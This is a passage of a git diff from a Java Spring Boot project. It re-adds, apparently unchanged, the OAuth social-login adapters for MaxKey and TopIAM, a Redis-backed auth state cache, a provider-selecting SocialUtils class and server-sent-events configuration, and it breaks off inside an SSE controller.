cn.hutool.core.lang.Dict; +import me.zhyd.oauth.cache.AuthStateCache; +import me.zhyd.oauth.config.AuthConfig; +import me.zhyd.oauth.exception.AuthException; +import me.zhyd.oauth.model.AuthCallback; +import me.zhyd.oauth.model.AuthToken; +import me.zhyd.oauth.model.AuthUser; +import me.zhyd.oauth.request.AuthDefaultRequest; +import org.dromara.common.core.utils.SpringUtils; +import org.dromara.common.json.utils.JsonUtils; + +/** + * @author 长春叭哥 2023年03月26日 + */ +public class AuthMaxKeyRequest extends AuthDefaultRequest { + + public static final String SERVER_URL = SpringUtils.getProperty("justauth.type.maxkey.server-url"); + + /** + * 设定归属域 + */ + public AuthMaxKeyRequest(AuthConfig config) { + super(config, AuthMaxKeySource.MAXKEY); + } + + public AuthMaxKeyRequest(AuthConfig config, AuthStateCache authStateCache) { + super(config, AuthMaxKeySource.MAXKEY, authStateCache); + } + + @Override + protected AuthToken getAccessToken(AuthCallback authCallback) { + String body = doPostAuthorizationCode(authCallback.getCode()); + Dict object = JsonUtils.parseMap(body); + // oauth/token 验证异常 + if (object.containsKey("error")) { + throw new AuthException(object.getStr("error_description")); + } + // user 验证异常 + if (object.containsKey("message")) { + throw new AuthException(object.getStr("message")); + } + return AuthToken.builder() + .accessToken(object.getStr("access_token")) + .refreshToken(object.getStr("refresh_token")) + .idToken(object.getStr("id_token")) + .tokenType(object.getStr("token_type")) + .scope(object.getStr("scope")) + .build(); + } + + @Override + protected AuthUser getUserInfo(AuthToken authToken) { + String body = doGetUserInfo(authToken); + Dict object = JsonUtils.parseMap(body); + // oauth/token 验证异常 + if (object.containsKey("error")) { + throw new AuthException(object.getStr("error_description")); + } + // user 验证异常 + if (object.containsKey("message")) { + throw new AuthException(object.getStr("message")); + } + return AuthUser.builder() + .uuid(object.getStr("userId")) + .username(object.getStr("username")) + .nickname(object.getStr("displayName")) + .avatar(object.getStr("avatar_url")) + .blog(object.getStr("web_url")) + .company(object.getStr("organization")) + .location(object.getStr("location")) + .email(object.getStr("email")) + .remark(object.getStr("bio")) + .token(authToken) + .source(source.toString()) + .build(); + } + +} diff --git a/ruoyi-common/ruoyi-common-social/src/main/java/org/dromara/common/social/maxkey/AuthMaxKeySource.java b/ruoyi-common/ruoyi-common-social/src/main/java/org/dromara/common/social/maxkey/AuthMaxKeySource.java index 1ff57f7..e7288b5 100644 --- a/ruoyi-common/ruoyi-common-social/src/main/java/org/dromara/common/social/maxkey/AuthMaxKeySource.java +++ b/ruoyi-common/ruoyi-common-social/src/main/java/org/dromara/common/social/maxkey/AuthMaxKeySource.java @@ -1,52 +1,52 @@ -package org.dromara.common.social.maxkey; - -import me.zhyd.oauth.config.AuthSource; -import me.zhyd.oauth.request.AuthDefaultRequest; - -/** - * Oauth2 默认接口说明 - * - * @author 长春叭哥 2023年03月26日 - * - */ -public enum AuthMaxKeySource implements AuthSource { - - /** - * 自己搭建的 maxkey 私服 - */ - MAXKEY { - - /** - * 授权的api - */ - @Override - public String authorize() { - return AuthMaxKeyRequest.SERVER_URL + "/sign/authz/oauth/v20/authorize"; - } - - /** - * 获取accessToken的api - */ - @Override - public String accessToken() { - return AuthMaxKeyRequest.SERVER_URL + "/sign/authz/oauth/v20/token"; - } - - /** - * 获取用户信息的api - */ - @Override - public String userInfo() { - return AuthMaxKeyRequest.SERVER_URL + "/sign/api/oauth/v20/me"; - } - - /** - * 平台对应的 AuthRequest 实现类,必须继承自 {@link AuthDefaultRequest} - */ - @Override - public Class getTargetClass() { - return AuthMaxKeyRequest.class; - } - - } -} +package org.dromara.common.social.maxkey; + +import me.zhyd.oauth.config.AuthSource; +import me.zhyd.oauth.request.AuthDefaultRequest; + +/** + * Oauth2 默认接口说明 + * + * @author 长春叭哥 2023年03月26日 + * + */ +public enum AuthMaxKeySource implements AuthSource { + + /** + * 自己搭建的 maxkey 私服 + */ + MAXKEY { + + /** + * 授权的api + */ + @Override + public String authorize() { + return AuthMaxKeyRequest.SERVER_URL + "/sign/authz/oauth/v20/authorize"; + } + + /** + * 获取accessToken的api + */ + @Override + public String accessToken() { + return AuthMaxKeyRequest.SERVER_URL + "/sign/authz/oauth/v20/token"; + } + + /** + * 获取用户信息的api + */ + @Override + public String userInfo() { + return AuthMaxKeyRequest.SERVER_URL + "/sign/api/oauth/v20/me"; + } + + /** + * 平台对应的 AuthRequest 实现类,必须继承自 {@link AuthDefaultRequest} + */ + @Override + public Class getTargetClass() { + return AuthMaxKeyRequest.class; + } + + } +} diff --git a/ruoyi-common/ruoyi-common-social/src/main/java/org/dromara/common/social/topiam/AuthTopIamRequest.java b/ruoyi-common/ruoyi-common-social/src/main/java/org/dromara/common/social/topiam/AuthTopIamRequest.java index 13649f9..b88eadc 100644 --- a/ruoyi-common/ruoyi-common-social/src/main/java/org/dromara/common/social/topiam/AuthTopIamRequest.java +++ b/ruoyi-common/ruoyi-common-social/src/main/java/org/dromara/common/social/topiam/AuthTopIamRequest.java @@ -1,100 +1,100 @@ -package org.dromara.common.social.topiam; - -import cn.hutool.core.lang.Dict; -import cn.hutool.core.util.StrUtil; -import com.xkcoding.http.support.HttpHeader; -import lombok.extern.slf4j.Slf4j; -import me.zhyd.oauth.cache.AuthStateCache; -import me.zhyd.oauth.config.AuthConfig; -import me.zhyd.oauth.exception.AuthException; -import me.zhyd.oauth.model.AuthCallback; -import me.zhyd.oauth.model.AuthToken; -import me.zhyd.oauth.model.AuthUser; -import me.zhyd.oauth.request.AuthDefaultRequest; -import me.zhyd.oauth.utils.HttpUtils; -import me.zhyd.oauth.utils.UrlBuilder; -import org.dromara.common.core.utils.SpringUtils; -import org.dromara.common.json.utils.JsonUtils; - -import static org.dromara.common.social.topiam.AuthTopiamSource.TOPIAM; - -/** - * TopIAM 认证请求 - * - * @author xlsea - * @since 2024-01-06 - */ -@Slf4j -public class AuthTopIamRequest extends AuthDefaultRequest { - - public static final String SERVER_URL = SpringUtils.getProperty("justauth.type.topiam.server-url"); - - /** - * 设定归属域 - */ - public AuthTopIamRequest(AuthConfig config) { - super(config, TOPIAM); - } - - public AuthTopIamRequest(AuthConfig config, AuthStateCache authStateCache) { - super(config, TOPIAM, authStateCache); - } - - @Override - protected AuthToken getAccessToken(AuthCallback authCallback) { - String body = doPostAuthorizationCode(authCallback.getCode()); - Dict object = JsonUtils.parseMap(body); - checkResponse(object); - return AuthToken.builder() - .accessToken(object.getStr("access_token")) - .refreshToken(object.getStr("refresh_token")) - .idToken(object.getStr("id_token")) - .tokenType(object.getStr("token_type")) - .scope(object.getStr("scope")) - .build(); - } - - @Override - protected AuthUser getUserInfo(AuthToken authToken) { - String body = doGetUserInfo(authToken); - Dict object = JsonUtils.parseMap(body); - checkResponse(object); - return AuthUser.builder() - .uuid(object.getStr("sub")) - .username(object.getStr("preferred_username")) - .nickname(object.getStr("nickname")) - .avatar(object.getStr("picture")) - .email(object.getStr("email")) - .token(authToken) - .source(source.toString()) - .build(); - } - - - @Override - protected String doGetUserInfo(AuthToken authToken) { - return new HttpUtils(config.getHttpConfig()).get(source.userInfo(), null, new HttpHeader() - .add("Content-Type", "application/json") - .add("Authorization", "Bearer " + authToken.getAccessToken()), false).getBody(); - } - - - @Override - public String authorize(String state) { - return UrlBuilder.fromBaseUrl(super.authorize(state)) - .queryParam("scope", StrUtil.join("%20", config.getScopes())) - .build(); - } - - public static void checkResponse(Dict object) { - // oauth/token 验证异常 - if (object.containsKey("error")) { - throw new AuthException(object.getStr("error_description")); - } - // user 验证异常 - if (object.containsKey("message")) { - throw new AuthException(object.getStr("message")); - } - } - -} +package org.dromara.common.social.topiam; + +import cn.hutool.core.lang.Dict; +import cn.hutool.core.util.StrUtil; +import com.xkcoding.http.support.HttpHeader; +import lombok.extern.slf4j.Slf4j; +import me.zhyd.oauth.cache.AuthStateCache; +import me.zhyd.oauth.config.AuthConfig; +import me.zhyd.oauth.exception.AuthException; +import me.zhyd.oauth.model.AuthCallback; +import me.zhyd.oauth.model.AuthToken; +import me.zhyd.oauth.model.AuthUser; +import me.zhyd.oauth.request.AuthDefaultRequest; +import me.zhyd.oauth.utils.HttpUtils; +import me.zhyd.oauth.utils.UrlBuilder; +import org.dromara.common.core.utils.SpringUtils; +import org.dromara.common.json.utils.JsonUtils; + +import static org.dromara.common.social.topiam.AuthTopiamSource.TOPIAM; + +/** + * TopIAM 认证请求 + * + * @author xlsea + * @since 2024-01-06 + */ +@Slf4j +public class AuthTopIamRequest extends AuthDefaultRequest { + + public static final String SERVER_URL = SpringUtils.getProperty("justauth.type.topiam.server-url"); + + /** + * 设定归属域 + */ + public AuthTopIamRequest(AuthConfig config) { + super(config, TOPIAM); + } + + public AuthTopIamRequest(AuthConfig config, AuthStateCache authStateCache) { + super(config, TOPIAM, authStateCache); + } + + @Override + protected AuthToken getAccessToken(AuthCallback authCallback) { + String body = doPostAuthorizationCode(authCallback.getCode()); + Dict object = JsonUtils.parseMap(body); + checkResponse(object); + return AuthToken.builder() + .accessToken(object.getStr("access_token")) + .refreshToken(object.getStr("refresh_token")) + .idToken(object.getStr("id_token")) + .tokenType(object.getStr("token_type")) + .scope(object.getStr("scope")) + .build(); + } + + @Override + protected AuthUser getUserInfo(AuthToken authToken) { + String body = doGetUserInfo(authToken); + Dict object = JsonUtils.parseMap(body); + checkResponse(object); + return AuthUser.builder() + .uuid(object.getStr("sub")) + .username(object.getStr("preferred_username")) + .nickname(object.getStr("nickname")) + .avatar(object.getStr("picture")) + .email(object.getStr("email")) + .token(authToken) + .source(source.toString()) + .build(); + } + + + @Override + protected String doGetUserInfo(AuthToken authToken) { + return new HttpUtils(config.getHttpConfig()).get(source.userInfo(), null, new HttpHeader() + .add("Content-Type", "application/json") + .add("Authorization", "Bearer " + authToken.getAccessToken()), false).getBody(); + } + + + @Override + public String authorize(String state) { + return UrlBuilder.fromBaseUrl(super.authorize(state)) + .queryParam("scope", StrUtil.join("%20", config.getScopes())) + .build(); + } + + public static void checkResponse(Dict object) { + // oauth/token 验证异常 + if (object.containsKey("error")) { + throw new AuthException(object.getStr("error_description")); + } + // user 验证异常 + if (object.containsKey("message")) { + throw new AuthException(object.getStr("message")); + } + } + +} diff --git a/ruoyi-common/ruoyi-common-social/src/main/java/org/dromara/common/social/topiam/AuthTopiamSource.java b/ruoyi-common/ruoyi-common-social/src/main/java/org/dromara/common/social/topiam/AuthTopiamSource.java index e47d6c6..d9e42f2 100644 --- a/ruoyi-common/ruoyi-common-social/src/main/java/org/dromara/common/social/topiam/AuthTopiamSource.java +++ b/ruoyi-common/ruoyi-common-social/src/main/java/org/dromara/common/social/topiam/AuthTopiamSource.java @@ -1,51 +1,51 @@ -package org.dromara.common.social.topiam; - -import me.zhyd.oauth.config.AuthSource; -import me.zhyd.oauth.request.AuthDefaultRequest; - -/** - * Oauth2 默认接口说明 - * - * @author xlsea - * @since 2024-01-06 - */ -public enum AuthTopiamSource implements AuthSource { - - /** - * 测试 - */ - TOPIAM { - /** - * 授权的api - */ - @Override - public String authorize() { - return AuthTopIamRequest.SERVER_URL + "/oauth2/auth"; - } - - /** - * 获取accessToken的api - */ - @Override - public String accessToken() { - return AuthTopIamRequest.SERVER_URL + "/oauth2/token"; - } - - /** - * 获取用户信息的api - */ - @Override - public String userInfo() { - return AuthTopIamRequest.SERVER_URL + "/oauth2/userinfo"; - } - - /** - * 平台对应的 AuthRequest 实现类,必须继承自 {@link AuthDefaultRequest} - */ - @Override - public Class getTargetClass() { - return AuthTopIamRequest.class; - } - - } -} +package org.dromara.common.social.topiam; + +import me.zhyd.oauth.config.AuthSource; +import me.zhyd.oauth.request.AuthDefaultRequest; + +/** + * Oauth2 默认接口说明 + * + * @author xlsea + * @since 2024-01-06 + */ +public enum AuthTopiamSource implements AuthSource { + + /** + * 测试 + */ + TOPIAM { + /** + * 授权的api + */ + @Override + public String authorize() { + return AuthTopIamRequest.SERVER_URL + "/oauth2/auth"; + } + + /** + * 获取accessToken的api + */ + @Override + public String accessToken() { + return AuthTopIamRequest.SERVER_URL + "/oauth2/token"; + } + + /** + * 获取用户信息的api + */ + @Override + public String userInfo() { + return AuthTopIamRequest.SERVER_URL + "/oauth2/userinfo"; + } + + /** + * 平台对应的 AuthRequest 实现类,必须继承自 {@link AuthDefaultRequest} + */ + @Override + public Class getTargetClass() { + return AuthTopIamRequest.class; + } + + } +} diff --git a/ruoyi-common/ruoyi-common-social/src/main/java/org/dromara/common/social/utils/AuthRedisStateCache.java b/ruoyi-common/ruoyi-common-social/src/main/java/org/dromara/common/social/utils/AuthRedisStateCache.java index 0b6ec20..3ae62e6 100644 --- a/ruoyi-common/ruoyi-common-social/src/main/java/org/dromara/common/social/utils/AuthRedisStateCache.java +++ b/ruoyi-common/ruoyi-common-social/src/main/java/org/dromara/common/social/utils/AuthRedisStateCache.java @@ -1,61 +1,61 @@ -package org.dromara.common.social.utils; - -import lombok.AllArgsConstructor; -import me.zhyd.oauth.cache.AuthStateCache; -import org.dromara.common.core.constant.GlobalConstants; -import org.dromara.common.redis.utils.RedisUtils; - -import java.time.Duration; - -/** - * 授权状态缓存 - */ -@AllArgsConstructor -public class AuthRedisStateCache implements AuthStateCache { - - /** - * 存入缓存 - * - * @param key 缓存key - * @param value 缓存内容 - */ - @Override - public void cache(String key, String value) { - // 授权超时时间 默认三分钟 - RedisUtils.setCacheObject(GlobalConstants.SOCIAL_AUTH_CODE_KEY + key, value, Duration.ofMinutes(3)); - } - - /** - * 存入缓存 - * - * @param key 缓存key - * @param value 缓存内容 - * @param timeout 指定缓存过期时间(毫秒) - */ - @Override - public void cache(String key, String value, long timeout) { - RedisUtils.setCacheObject(GlobalConstants.SOCIAL_AUTH_CODE_KEY + key, value, Duration.ofMillis(timeout)); - } - - /** - * 获取缓存内容 - * - * @param key 缓存key - * @return 缓存内容 - */ - @Override - public String get(String key) { - return RedisUtils.getCacheObject(GlobalConstants.SOCIAL_AUTH_CODE_KEY + key); - } - - /** - * 是否存在key,如果对应key的value值已过期,也返回false - * - * @param key 缓存key - * @return true:存在key,并且value没过期;false:key不存在或者已过期 - */ - @Override - public boolean containsKey(String key) { - return RedisUtils.hasKey(GlobalConstants.SOCIAL_AUTH_CODE_KEY + key); - } -} +package org.dromara.common.social.utils; + +import lombok.AllArgsConstructor; +import me.zhyd.oauth.cache.AuthStateCache; +import org.dromara.common.core.constant.GlobalConstants; +import org.dromara.common.redis.utils.RedisUtils; + +import java.time.Duration; + +/** + * 授权状态缓存 + */ +@AllArgsConstructor +public class AuthRedisStateCache implements AuthStateCache { + + /** + * 存入缓存 + * + * @param key 缓存key + * @param value 缓存内容 + */ + @Override + public void cache(String key, String value) { + // 授权超时时间 默认三分钟 + RedisUtils.setCacheObject(GlobalConstants.SOCIAL_AUTH_CODE_KEY + key, value, Duration.ofMinutes(3)); + } + + /** + * 存入缓存 + * + * @param key 缓存key + * @param value 缓存内容 + * @param timeout 指定缓存过期时间(毫秒) + */ + @Override + public void cache(String key, String value, long timeout) { + RedisUtils.setCacheObject(GlobalConstants.SOCIAL_AUTH_CODE_KEY + key, value, Duration.ofMillis(timeout)); + } + + /** + * 获取缓存内容 + * + * @param key 缓存key + * @return 缓存内容 + */ + @Override + public String get(String key) { + return RedisUtils.getCacheObject(GlobalConstants.SOCIAL_AUTH_CODE_KEY + key); + } + + /** + * 是否存在key,如果对应key的value值已过期,也返回false + * + * @param key 缓存key + * @return true:存在key,并且value没过期;false:key不存在或者已过期 + */ + @Override + public boolean containsKey(String key) { + return RedisUtils.hasKey(GlobalConstants.SOCIAL_AUTH_CODE_KEY + key); + } +} diff --git a/ruoyi-common/ruoyi-common-social/src/main/java/org/dromara/common/social/utils/SocialUtils.java b/ruoyi-common/ruoyi-common-social/src/main/java/org/dromara/common/social/utils/SocialUtils.java index 9191fca..279d583 100644 --- a/ruoyi-common/ruoyi-common-social/src/main/java/org/dromara/common/social/utils/SocialUtils.java +++ b/ruoyi-common/ruoyi-common-social/src/main/java/org/dromara/common/social/utils/SocialUtils.java @@ -1,73 +1,73 @@ -package org.dromara.common.social.utils; - -import cn.hutool.core.util.ObjectUtil; -import me.zhyd.oauth.config.AuthConfig; -import me.zhyd.oauth.exception.AuthException; -import me.zhyd.oauth.model.AuthCallback; -import me.zhyd.oauth.model.AuthResponse; -import me.zhyd.oauth.model.AuthUser; -import me.zhyd.oauth.request.*; -import org.dromara.common.core.utils.SpringUtils; -import org.dromara.common.social.config.properties.SocialLoginConfigProperties; -import org.dromara.common.social.config.properties.SocialProperties; -import org.dromara.common.social.maxkey.AuthMaxKeyRequest; -import org.dromara.common.social.topiam.AuthTopIamRequest; - -/** - * 认证授权工具类 - * - * @author thiszhc - */ -public class SocialUtils { - - private static final AuthRedisStateCache STATE_CACHE = SpringUtils.getBean(AuthRedisStateCache.class); - - @SuppressWarnings("unchecked") - public static AuthResponse loginAuth(String source, String code, String state, SocialProperties socialProperties) throws AuthException { - AuthRequest authRequest = getAuthRequest(source, socialProperties); - AuthCallback callback = new AuthCallback(); - callback.setCode(code); - callback.setState(state); - return authRequest.login(callback); - } - - public static AuthRequest getAuthRequest(String source, SocialProperties socialProperties) throws AuthException { - SocialLoginConfigProperties obj = socialProperties.getType().get(source); - if (ObjectUtil.isNull(obj)) { - throw new AuthException("不支持的第三方登录类型"); - } - AuthConfig.AuthConfigBuilder builder = AuthConfig.builder() - .clientId(obj.getClientId()) - .clientSecret(obj.getClientSecret()) - .redirectUri(obj.getRedirectUri()) - .scopes(obj.getScopes()); - return switch (source.toLowerCase()) { - case "dingtalk" -> new AuthDingTalkRequest(builder.build(), STATE_CACHE); - case "baidu" -> new AuthBaiduRequest(builder.build(), STATE_CACHE); - case "github" -> new AuthGithubRequest(builder.build(), STATE_CACHE); - case "gitee" -> new AuthGiteeRequest(builder.build(), STATE_CACHE); - case "weibo" -> new AuthWeiboRequest(builder.build(), STATE_CACHE); - case "coding" -> new AuthCodingRequest(builder.build(), STATE_CACHE); - case "oschina" -> new AuthOschinaRequest(builder.build(), STATE_CACHE); - // 支付宝在创建回调地址时,不允许使用localhost或者127.0.0.1,所以这儿的回调地址使用的局域网内的ip - case "alipay_wallet" -> new AuthAlipayRequest(builder.build(), socialProperties.getType().get("alipay_wallet").getAlipayPublicKey(), STATE_CACHE); - case "qq" -> new AuthQqRequest(builder.build(), STATE_CACHE); - case "wechat_open" -> new AuthWeChatOpenRequest(builder.build(), STATE_CACHE); - case "taobao" -> new AuthTaobaoRequest(builder.build(), STATE_CACHE); - case "douyin" -> new AuthDouyinRequest(builder.build(), STATE_CACHE); - case "linkedin" -> new AuthLinkedinRequest(builder.build(), STATE_CACHE); - case "microsoft" -> new AuthMicrosoftRequest(builder.build(), STATE_CACHE); - case "renren" -> new AuthRenrenRequest(builder.build(), STATE_CACHE); - case "stack_overflow" -> new AuthStackOverflowRequest(builder.build(), STATE_CACHE); - case "huawei" -> new AuthHuaweiRequest(builder.build(), STATE_CACHE); - case "wechat_enterprise" -> new AuthWeChatEnterpriseQrcodeRequest(builder.build(), STATE_CACHE); - case "gitlab" -> new AuthGitlabRequest(builder.build(), STATE_CACHE); - case "wechat_mp" -> new AuthWeChatMpRequest(builder.build(), STATE_CACHE); - case "aliyun" -> new AuthAliyunRequest(builder.build(), STATE_CACHE); - case "maxkey" -> new AuthMaxKeyRequest(builder.build(), STATE_CACHE); - case "topiam" -> new AuthTopIamRequest(builder.build(), STATE_CACHE); - default -> throw new AuthException("未获取到有效的Auth配置"); - }; - } -} - +package org.dromara.common.social.utils; + +import cn.hutool.core.util.ObjectUtil; +import me.zhyd.oauth.config.AuthConfig; +import me.zhyd.oauth.exception.AuthException; +import me.zhyd.oauth.model.AuthCallback; +import me.zhyd.oauth.model.AuthResponse; +import me.zhyd.oauth.model.AuthUser; +import me.zhyd.oauth.request.*; +import org.dromara.common.core.utils.SpringUtils; +import org.dromara.common.social.config.properties.SocialLoginConfigProperties; +import org.dromara.common.social.config.properties.SocialProperties; +import org.dromara.common.social.maxkey.AuthMaxKeyRequest; +import org.dromara.common.social.topiam.AuthTopIamRequest; + +/** + * 认证授权工具类 + * + * @author thiszhc + */ +public class SocialUtils { + + private static final AuthRedisStateCache STATE_CACHE = SpringUtils.getBean(AuthRedisStateCache.class); + + @SuppressWarnings("unchecked") + public static AuthResponse loginAuth(String source, String code, String state, SocialProperties socialProperties) throws AuthException { + AuthRequest authRequest = getAuthRequest(source, socialProperties); + AuthCallback callback = new AuthCallback(); + callback.setCode(code); + callback.setState(state); + return authRequest.login(callback); + } + + public static AuthRequest getAuthRequest(String source, SocialProperties socialProperties) throws AuthException { + SocialLoginConfigProperties obj = socialProperties.getType().get(source); + if (ObjectUtil.isNull(obj)) { + throw new AuthException("不支持的第三方登录类型"); + } + AuthConfig.AuthConfigBuilder builder = AuthConfig.builder() + .clientId(obj.getClientId()) + .clientSecret(obj.getClientSecret()) + .redirectUri(obj.getRedirectUri()) + .scopes(obj.getScopes()); + return switch (source.toLowerCase()) { + case "dingtalk" -> new AuthDingTalkRequest(builder.build(), STATE_CACHE); + case "baidu" -> new AuthBaiduRequest(builder.build(), STATE_CACHE); + case "github" -> new AuthGithubRequest(builder.build(), STATE_CACHE); + case "gitee" -> new AuthGiteeRequest(builder.build(), STATE_CACHE); + case "weibo" -> new AuthWeiboRequest(builder.build(), STATE_CACHE); + case "coding" -> new AuthCodingRequest(builder.build(), STATE_CACHE); + case "oschina" -> new AuthOschinaRequest(builder.build(), STATE_CACHE); + // 支付宝在创建回调地址时,不允许使用localhost或者127.0.0.1,所以这儿的回调地址使用的局域网内的ip + case "alipay_wallet" -> new AuthAlipayRequest(builder.build(), socialProperties.getType().get("alipay_wallet").getAlipayPublicKey(), STATE_CACHE); + case "qq" -> new AuthQqRequest(builder.build(), STATE_CACHE); + case "wechat_open" -> new AuthWeChatOpenRequest(builder.build(), STATE_CACHE); + case "taobao" -> new AuthTaobaoRequest(builder.build(), STATE_CACHE); + case "douyin" -> new AuthDouyinRequest(builder.build(), STATE_CACHE); + case "linkedin" -> new AuthLinkedinRequest(builder.build(), STATE_CACHE); + case "microsoft" -> new AuthMicrosoftRequest(builder.build(), STATE_CACHE); + case "renren" -> new AuthRenrenRequest(builder.build(), STATE_CACHE); + case "stack_overflow" -> new AuthStackOverflowRequest(builder.build(), STATE_CACHE); + case "huawei" -> new AuthHuaweiRequest(builder.build(), STATE_CACHE); + case "wechat_enterprise" -> new AuthWeChatEnterpriseQrcodeRequest(builder.build(), STATE_CACHE); + case "gitlab" -> new AuthGitlabRequest(builder.build(), STATE_CACHE); + case "wechat_mp" -> new AuthWeChatMpRequest(builder.build(), STATE_CACHE); + case "aliyun" -> new AuthAliyunRequest(builder.build(), STATE_CACHE); + case "maxkey" -> new AuthMaxKeyRequest(builder.build(), STATE_CACHE); + case "topiam" -> new AuthTopIamRequest(builder.build(), STATE_CACHE); + default -> throw new AuthException("未获取到有效的Auth配置"); + }; + } +} + diff --git a/ruoyi-common/ruoyi-common-social/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports b/ruoyi-common/ruoyi-common-social/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports index fc544a0..448d849 100644 --- a/ruoyi-common/ruoyi-common-social/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports +++ b/ruoyi-common/ruoyi-common-social/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports @@ -1 +1 @@ -org.dromara.common.social.config.SocialAutoConfiguration +org.dromara.common.social.config.SocialAutoConfiguration diff --git a/ruoyi-common/ruoyi-common-sse/pom.xml b/ruoyi-common/ruoyi-common-sse/pom.xml index ae44c98..f8e6f2d 100644 --- a/ruoyi-common/ruoyi-common-sse/pom.xml +++ b/ruoyi-common/ruoyi-common-sse/pom.xml @@ -1,36 +1,36 @@ - - - - org.dromara - ruoyi-common - ${revision} - - 4.0.0 - - ruoyi-common-sse - - - ruoyi-common-sse 模块 - - - - - org.dromara - ruoyi-common-core - - - org.dromara - ruoyi-common-redis - - - org.dromara - ruoyi-common-satoken - - - org.dromara - ruoyi-common-json - - - + + + + org.dromara + ruoyi-common + ${revision} + + 4.0.0 + + ruoyi-common-sse + + + ruoyi-common-sse 模块 + + + + + org.dromara + ruoyi-common-core + + + org.dromara + ruoyi-common-redis + + + org.dromara + ruoyi-common-satoken + + + org.dromara + ruoyi-common-json + + + diff --git a/ruoyi-common/ruoyi-common-sse/src/main/java/org/dromara/common/sse/config/SseAutoConfiguration.java b/ruoyi-common/ruoyi-common-sse/src/main/java/org/dromara/common/sse/config/SseAutoConfiguration.java index 0cf8054..9f05413 100644 --- a/ruoyi-common/ruoyi-common-sse/src/main/java/org/dromara/common/sse/config/SseAutoConfiguration.java +++ b/ruoyi-common/ruoyi-common-sse/src/main/java/org/dromara/common/sse/config/SseAutoConfiguration.java @@ -1,36 +1,36 @@ -package org.dromara.common.sse.config; - -import org.dromara.common.sse.controller.SseController; -import org.dromara.common.sse.core.SseEmitterManager; -import org.dromara.common.sse.listener.SseTopicListener; -import org.springframework.boot.autoconfigure.AutoConfiguration; -import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; -import org.springframework.boot.context.properties.EnableConfigurationProperties; -import org.springframework.context.annotation.Bean; - -/** - * SSE 自动装配 - * - * @author Lion Li - */ -@AutoConfiguration -@ConditionalOnProperty(value = "sse.enabled", havingValue = "true") -@EnableConfigurationProperties(SseProperties.class) -public class SseAutoConfiguration { - - @Bean - public SseEmitterManager sseEmitterManager() { - return new SseEmitterManager(); - } - - @Bean - public SseTopicListener sseTopicListener() { - return new SseTopicListener(); - } - - @Bean - public SseController sseController(SseEmitterManager sseEmitterManager) { - return new SseController(sseEmitterManager); - } - -} +package org.dromara.common.sse.config; + +import org.dromara.common.sse.controller.SseController; +import org.dromara.common.sse.core.SseEmitterManager; +import org.dromara.common.sse.listener.SseTopicListener; +import org.springframework.boot.autoconfigure.AutoConfiguration; +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.boot.context.properties.EnableConfigurationProperties; +import org.springframework.context.annotation.Bean; + +/** + * SSE 自动装配 + * + * @author Lion Li + */ +@AutoConfiguration +@ConditionalOnProperty(value = "sse.enabled", havingValue = "true") +@EnableConfigurationProperties(SseProperties.class) +public class SseAutoConfiguration { + + @Bean + public SseEmitterManager sseEmitterManager() { + return new SseEmitterManager(); + } + + @Bean + public SseTopicListener sseTopicListener() { + return new SseTopicListener(); + } + + @Bean + public SseController sseController(SseEmitterManager sseEmitterManager) { + return new SseController(sseEmitterManager); + } + +} diff --git a/ruoyi-common/ruoyi-common-sse/src/main/java/org/dromara/common/sse/config/SseProperties.java b/ruoyi-common/ruoyi-common-sse/src/main/java/org/dromara/common/sse/config/SseProperties.java index ce4e173..05edf78 100644 --- a/ruoyi-common/ruoyi-common-sse/src/main/java/org/dromara/common/sse/config/SseProperties.java +++ b/ruoyi-common/ruoyi-common-sse/src/main/java/org/dromara/common/sse/config/SseProperties.java @@ -1,21 +1,21 @@ -package org.dromara.common.sse.config; - -import lombok.Data; -import org.springframework.boot.context.properties.ConfigurationProperties; - -/** - * SSE 配置项 - * - * @author Lion Li - */ -@Data -@ConfigurationProperties("sse") -public class SseProperties { - - private Boolean enabled; - - /** - * 路径 - */ - private String path; -} +package org.dromara.common.sse.config; + +import lombok.Data; +import org.springframework.boot.context.properties.ConfigurationProperties; + +/** + * SSE 配置项 + * + * @author Lion Li + */ +@Data +@ConfigurationProperties("sse") +public class SseProperties { + + private Boolean enabled; + + /** + * 路径 + */ + private String path; +} diff --git a/ruoyi-common/ruoyi-common-sse/src/main/java/org/dromara/common/sse/controller/SseController.java b/ruoyi-common/ruoyi-common-sse/src/main/java/org/dromara/common/sse/controller/SseController.java index e5331e4..7c4219e 100644 --- a/ruoyi-common/ruoyi-common-sse/src/main/java/org/dromara/common/sse/controller/SseController.java +++ b/ruoyi-common/ruoyi-common-sse/src/main/java/org/dromara/common/sse/controller/SseController.java @@ -1,87 +1,87 @@ -package org.dromara.common.sse.controller; - -import cn.dev33.satoken.annotation.SaIgnore; -import cn.dev33.satoken.stp.StpUtil; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.domain.R; -import org.dromara.common.satoken.utils.LoginHelper; -import org.dromara.common.sse.core.SseEmitterManager; -import org.dromara.common.sse.dto.SseMessageDto; -import org.springframework.beans.factory.DisposableBean; -import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; -import org.springframework.http.MediaType; -import org.springframework.web.bind.annotation.GetMapping; -import org.springframework.web.bind.annotation.RestController; -import org.springframework.web.servlet.mvc.method.annotation.SseEmitter; - -import java.util.List; - -/** - * SSE 控制器 - * - * @author Lion Li - */ -@RestController -@ConditionalOnProperty(value = "sse.enabled", havingValue = "true") -@RequiredArgsConstructor -public class SseController implements DisposableBean { - - private final SseEmitterManager sseEmitterManager; - - /** - * 建立 SSE 连接 - */ - @GetMapping(value = "${sse.path}", produces = MediaType.TEXT_EVENT_STREAM_VALUE) - public SseEmitter connect() { - String tokenValue = StpUtil.getTokenValue(); - Long userId = LoginHelper.getUserId(); - return sseEmitterManager.connect(userId, tokenValue); - } - - /** - * 关闭 SSE 连接 - */ - @SaIgnore - @GetMapping(value = "${sse.path}/close") - public R close() { - String tokenValue = StpUtil.getTokenValue(); - Long userId = LoginHelper.getUserId(); - sseEmitterManager.disconnect(userId, tokenValue); - return R.ok(); - } - - /** - * 向特定用户发送消息 - * - * @param userId 目标用户的 ID - * @param msg 要发送的消息内容 - */ - @GetMapping(value = "${sse.path}/send") - public R send(Long userId, String msg) { - SseMessageDto dto = new SseMessageDto(); - dto.setUserIds(List.of(userId)); - dto.setMessage(msg); - 